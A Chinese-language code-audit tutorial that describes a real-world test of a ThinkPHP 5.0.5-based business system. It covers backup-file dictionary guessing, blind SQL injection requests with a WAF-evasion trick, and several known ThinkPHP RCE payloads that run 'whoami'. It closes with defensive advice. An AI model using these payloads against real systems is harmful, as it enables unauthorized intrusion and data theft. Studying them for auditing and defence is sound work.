一次简单的实战—TP二次开发代码审计
字数 1020 2025-08-20 18:18:40
ThinkPHP5.0.5二次开发代码审计实战教学文档
0x01 开始
基本信息
- 目标系统:基于ThinkPHP5.0.5二次开发的业务系统
- 防护措施:存在某武盾WAF防护
关键点:信息收集与备份文件获取
-
备份文件字典构建:
- 结合目标公司名称关键字和域名关键字构建敏感备份文件字典
- 常见备份文件命名模式:
关键字+backup.tar.gz 关键字+buckup.zip 关键字+buckup.rar 关键字+buckup.zip.tar www+关键字.zip www+关键字.rar 关键字.zip 关键字.rar - 可自由组合扩展字典
- 观察参数命名方式推测管理员命名习惯
-
实际发现:
- 通过目录扫描发现业务系统备份文件:
关键字+backup.tar.gz
- 通过目录扫描发现业务系统备份文件:
0x02 代码审计
系统路由分析
- 系统基于ThinkPHP5.0.5框架开发
- 需熟悉ThinkPHP目录结构(参考官方文档)
SQL注入漏洞分析
漏洞位置:身份证号查询功能
-
正常请求分析:
- 前端仅限制输入长度,后端无任何过滤
- 通过修改请求参数可获取任意用户数据
-
注入测试:
- 存在WAF防护
- 后端数据库为MySQL
- ThinkPHP debug模式未开启
-
盲注Payload构造:
-
查询user()长度(示例长度为14):
POST /index/index/p_card.html HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 card=1")/(case when length(user())=0 then 1 else 0 end)+--+ -
查询内容(绕过ascii函数过滤):
- 使用char函数替代ascii函数
- 使用
like binary保持大小写敏感
POST /index/index/p_card.html HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 card=3")/(case when substr(user(),1,1)like binary 'a' then 1 else 0 end)+--+
-
-
漏洞特征:
- 多处SQL直接拼接且无过滤
- 相同漏洞模式存在于多个功能点
ThinkPHP RCE漏洞分析
-
漏洞验证:
- 存在ThinkPHP经典RCE漏洞
- 本地环境可复现
-
Payload示例:
POST?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami get[]=whaomi&_method=__construct&method=get&filter=system -
WAF绕过失败:
- WAF拦截
filter关键字 - 未找到有效绕过方法
- WAF拦截
0x03 参考链接
- ThinkPHP目录结构:https://www.kancloud.cn/manual/thinkphp5/118008
- Thinkphp5.0.5 RCE分析:https://y4er.com/post/thinkphp5-rce/
总结与防御建议
漏洞总结
-
SQL注入:
- 多处SQL语句直接拼接用户输入
- 缺乏参数化查询或输入过滤
-
RCE漏洞:
- 未修复已知框架漏洞
- 危险方法调用未做限制
防御建议
-
SQL注入防护:
- 使用参数化查询
- 实现输入过滤机制
- 启用ThinkPHP的SQL安全检测
-
RCE防护:
- 升级ThinkPHP框架版本
- 限制危险函数调用
- 配置WAF规则时考虑多种攻击向量
-
系统安全加固:
- 删除或保护备份文件
- 关闭调试模式
- 实现最小权限原则
-
WAF配置优化:
- 加强SQL注入防护规则
- 不依赖单一关键字拦截
- 实现语义分析检测